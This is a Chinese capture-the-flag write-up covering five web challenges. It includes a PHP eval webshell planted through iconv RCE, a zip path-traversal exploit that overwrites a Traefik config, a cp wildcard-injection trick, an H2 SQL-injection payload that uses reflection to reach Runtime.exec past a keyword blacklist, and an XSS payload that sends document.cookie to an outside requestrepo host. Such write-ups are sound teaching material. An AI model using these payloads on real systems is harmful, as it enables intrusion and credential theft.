当时比赛没有打,一直在忙VNCTF赛后的事,忙完后才有断断续续的时间来做做。感谢baozongwi师傅提供的环境🙏。
Gavatar 通读源码,upload.php可以写入任意文件。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <?php require_once 'common.php' ;$user = getCurrentUser ();if (!$user ) header ('Location: index.php' );$avatarDir = __DIR__ . '/avatars' ;if (!is_dir ($avatarDir )) mkdir ($avatarDir , 0755 );$avatarPath = "$avatarDir /{$user['id']} " ;if (!empty ($_FILES ['avatar' ]['tmp_name' ])) { $finfo = new finfo (FILEINFO_MIME_TYPE); if (!in_array ($finfo ->file ($_FILES ['avatar' ]['tmp_name' ]), ['image/jpeg' , 'image/png' , 'image/gif' ])) { die ('Invalid file type' ); } move_uploaded_file ($_FILES ['avatar' ]['tmp_name' ], $avatarPath ); } elseif (!empty ($_POST ['url' ])) { $image = @file_get_contents ($_POST ['url' ]); if ($image === false ) die ('Invalid URL' ); file_put_contents ($avatarPath , $image ); }header ('Location: profile.php' );
然后在avatar.php会读取写入的文件:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 <?php require_once 'common.php' ;$user = isset ($_GET ['user' ]) ? findUserByUsername ($_GET ['user' ]) : null ;$defaultAvatar = __DIR__ . '/images/default-avatar.png' ;if (!$user ) { header ('Content-Type: image/png' ); readfile ($defaultAvatar ); exit ; }$avatarPath = __DIR__ . "/avatars/{$user['id']} " ;if (!file_exists ($avatarPath )) { header ('Content-Type: image/png' ); readfile ($defaultAvatar ); } else { header ('Content-Type: ' . mime_content_type ($avatarPath )); readfile ($avatarPath ); }
flag是没有权限读取的,需要rce来执行/readflag。
这里直接打 iconv rce
改改代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 def __init__ (self, url: str ) -> None : self.url = url self.session = Session() self.cookies = {"PHPSESSID" :"6b3cf95721ed7283199f0ab7451f7f35" } def send (self, path: str ) -> Response: """Sends given `path` to the HTTP server. Returns the response. """ return self.session.get(self.url+"/avatar.php?user=admin" ,cookies=self.cookies) def download (self, path: str ) -> bytes : """Returns the contents of a remote file. """ path = f"php://filter/convert.base64-encode/resource={path} " self.session.post(self.url+"/upload.php" , data={"url" : path},cookies=self.cookies) response = self.send(path) data = response.re.search(b"(.*)" , flags=re.S).group(1 ) return base64.decode(data) …………………… url = "http://localhost:8000" command = "echo '<?php eval($_POST[1]);'>/var/www/html/1.php"
运行之后访问1.php即可rce。
traefik 有个flag路由,但是必须要求本地访问,然后还会检查请求头X-Forwarded-For
不允许自己添加127.0.0.1,还有个upload路由:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 r.POST("/public/upload" , func (c *gin.Context) { file, err := c.FormFile("file" ) if err != nil { c.JSON(400 , gin.H{"error" : "File upload failed" }) return } randomFolder := randFileName() destDir := filepath.Join(uploadDir, randomFolder) if err := os.MkdirAll(destDir, 0755 ); err != nil { c.JSON(500 , gin.H{"error" : "Failed to create directory" }) return } zipFilePath := filepath.Join(uploadDir, randomFolder+".zip" ) if err := c.SaveUploadedFile(file, zipFilePath); err != nil { c.JSON(500 , gin.H{"error" : "Failed to save uploaded file" }) return } if err := unzipFile(zipFilePath, destDir); err != nil { c.JSON(500 , gin.H{"error" : "Failed to unzip file" }) return } c.JSON(200 , gin.H{ "message" : fmt.Sprintf("File uploaded and extracted successfully to %s" , destDir), }) }
这里的upload路由可以上传zip,然后自动解压压缩包,我们注意附件里给的config/dynamic.yml,这是用于设置 HTTP 服务的负载均衡器和路由规则。我们可以上传一个压缩包里面装着名为../../config/dynamic.yml
的文件,然后这里面给flag路由写一个代理,接着上传压缩包,解压后会覆盖原来的dynamic文件,我们就可以拿到flag了。
给出新的dynamic.yml
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 http: services: proxy: loadBalancer: servers: - url: "http://127.0.0.1:8080" routers: index: rule: Path(`/public/index`) entrypoints: [web ] service: proxy upload: rule: Path(`/public/upload`) entrypoints: [web ] service: proxy flag: rule: Path(`/flag`) entrypoints: [web ] service: proxy middlewares: - add-x-forwarded-for middlewares: add-x-forwarded-for: headers: customRequestHeaders: X-Forwarded-For: "127.0.0.1"
add-x-forwarded-for
是一个中间件,它会在请求中添加一个自定义的请求头:X-Forwarded-For: "127.0.0.1"
。exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 import osimport requestsimport zipfile url = "http://ctf.baozongwi.xyz:10002" zip_filename = r'C:\Users\13664\Desktop\123.zip' with zipfile.ZipFile(zip_filename, 'a' ) as zipf: zipf.write(r'C:\Users\13664\Desktop\dynamic.yml' , arcname="../../.config/dynamic.yml" ) zipf.close() res = requests.post(url+"/public/upload" , files={'file' : open (zip_filename, 'rb' )})print (res.text) res = requests.get(url+"/flag" )print (res.text) os.remove(zip_filename)
backup 这道题没给环境无法复现,写写自己的理解。
前面php直接反弹shell,然后/flag没有权限读取,但是有一个/backup.sh 有suid权限,
1 2 3 4 5 6 7 8 #!/bin/bash cd /var/www/html/primarywhile :do cp -P * /var/www/html/backup/ chmod 755 -R /var/www/html/backup/ sleep 15done
这段 Bash 脚本的作用是每 15 秒钟将 /var/www/html/primary
目录中的所有文件复制到 /var/www/html/backup/
目录,并设置复制后文件的权限为 755
。
注意这里-P
选项确保符号链接不会被解引用
我们可以用-H
参数来覆盖-P参数:
cp -H
会让 cp
命令在遇到符号链接时,按照符号链接指向的目标文件进行复制,而不是直接复制符号链接本身。
我们如果有一个软连接指向/flag,用-H
参数后,会直接把/flag复制过来,然后给755权限,然后我们就可以读取了。那怎么覆盖-P
参数呢?
注意这里的*
,我们可以创建一个名为-H
的文件,cp命令就会多-H
这个参数
1 2 3 4 cd primarytouch -- -Hln -s /flag readflagcat /var/www/html/backup/readflag
ps:关于如何创建一个名为-H的文件有两种方法:
1 2 touch -- -H //--的作用是不解析后面的参数echo "" >-H
EasyDB 查看application.yml发现是h2数据库:
在登录页面存在sql注入,
对我们的输入进行了过滤
1 2 3 4 5 6 7 8 9 static { blackLists.add("runtime" ); blackLists.add("process" ); blackLists.add("exec" ); blackLists.add("shell" ); blackLists.add("file" ); blackLists.add("script" ); blackLists.add("groovy" ); }
H2允许用户定义函数别名 ,因此可以执行Java代码。简单的查询语句如下所示,该语句可以创建名为REVERSE
的函数别名,其中包含我们构造的Java代码payload。然后我们可以使用CALL
语句调用这个别名,执行我们的Java payload。
1 2 3 CREATE ALIAS REVERSE AS $$ String reverse(String s){ return new StringBuilder(s).reverse().toString();}$$;CALL REVERSE('Test' );
为了实现远程代码执行(RCE),攻击者可以通过java.lang.Runtime.exec()
来执行系统命令。
1 2 3 4 CREATE ALIAS Infernity AS $$ void e (String cmd) throws java.io.IOException {java.lang.Runtime rt= java.lang.Runtime.getRuntime();rt.exec(cmd);}$$ CALL Infernity ('whoami' ) ;
这里支持堆叠注入,直接 RCE,利用拼接绕过 WAF,
1 2 3 4 5 6 7 8 9 10 11 import java.lang.reflect.Method;public class test { public static void main (String[] args) throws Exception { String r = "Run" +"time" ; Class<?> rt = Class.forName("java.lang." +r); Object gr = rt.getMethod("get" +r).invoke(null ); Method ex = rt.getMethod("ex" +"ec" ,String.class); ex.invoke(gr,"calc" ); } }
payload
1 2 3 4 password=123456&username=admin';CREATE ALIAS Infernity AS $$ void e (String cmd) throws java.io.IOException {String r = "Run" +"time" ;Class <?> rt = Class .forName("java.lang." +r);Object gr = rt.getMethod("get" +r).invoke(null);Method ex = rt.getMethod("ex" +"ec" ,String.class );ex .invoke(gr ,cmd);}$$ CALL Infernity('curl http:
display 看index.js,这里给了一个预览页面,可以把base64加密后的payload get传参进来看看效果。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 function getQueryParam (param ) { const urlParams = new URLSearchParams (window .location .search ); return urlParams.get (param); }function sanitizeContent (text ) { const config = { ALLOWED_TAGS : ['h1' , 'h2' ] }; return DOMPurify .sanitize (text, config); }document .addEventListener ("DOMContentLoaded" , function ( ) { const textInput = document .getElementById ('text-input' ); const insertButton = document .getElementById ('insert-btn' ); const contentDisplay = document .getElementById ('content-display' ); const queryText = getQueryParam ('text' ); if (queryText) { const sanitizedText = sanitizeContent (atob (decodeURI (queryText))); if (sanitizedText.length > 0 ) { textInput.innerHTML = sanitizedText; contentDisplay.innerHTML = textInput.innerText ; insertButton.disabled = false ; } else { textInput.innerText = "Only allow h1, h2 tags and plain text" ; } } });
注意这里,利用了两次 innerHTML
1 2 textInput.innerHTML = sanitizedTextcontentDisplay.innerHTML = textInput.innerText
可以利用 HTML
实体编码绕过,又根据 hint:用iframe嵌入子页面可以重新唤起DOM解析器解析script标签
1 <iframe srcdoc ="<script>alert(1)</script>" > </iframe >
<iframe>
标签:这表示一个内嵌框架,它允许在当前页面中嵌入另一个 HTML 文档。srcdoc
属性允许直接将 HTML 内容作为字符串传递,而无需通过 URL 加载。
还要注意app.js里的csp:
1 const csp = "script-src 'self'; object-src 'none'; base-uri 'none';" ;
script-src 'self';
这一部分规定了脚本资源只能从当前页面的源(即同一域名)加载,禁止从其他域名加载脚本,防止恶意脚本注入。
object-src 'none';
这一部分禁止加载任何对象资源(如 <object>
, <embed>
, <applet>
等标签的内容),增强页面安全性,防止恶意的插件或嵌入内容。
base-uri 'none';
这一部分禁止页面设置 <base>
标签的 href
属性,避免通过修改页面基准URL来进行潜在的攻击。
这里用 404
页面绕过,script
标签引入 404
页面执行 JS
1 2 3 app.use ((req, res ) => { res.status (200 ).type ('text/plain' ).send (`${decodeURI (req.path)} : invalid path` ); });
总payload:
1 < iframe srcdoc="< script src=.//%0Afetch('http://rp1hua27.requestrepo.com'+document.cookie);//> < /script> "> < /iframe>
base64加密后输入即可。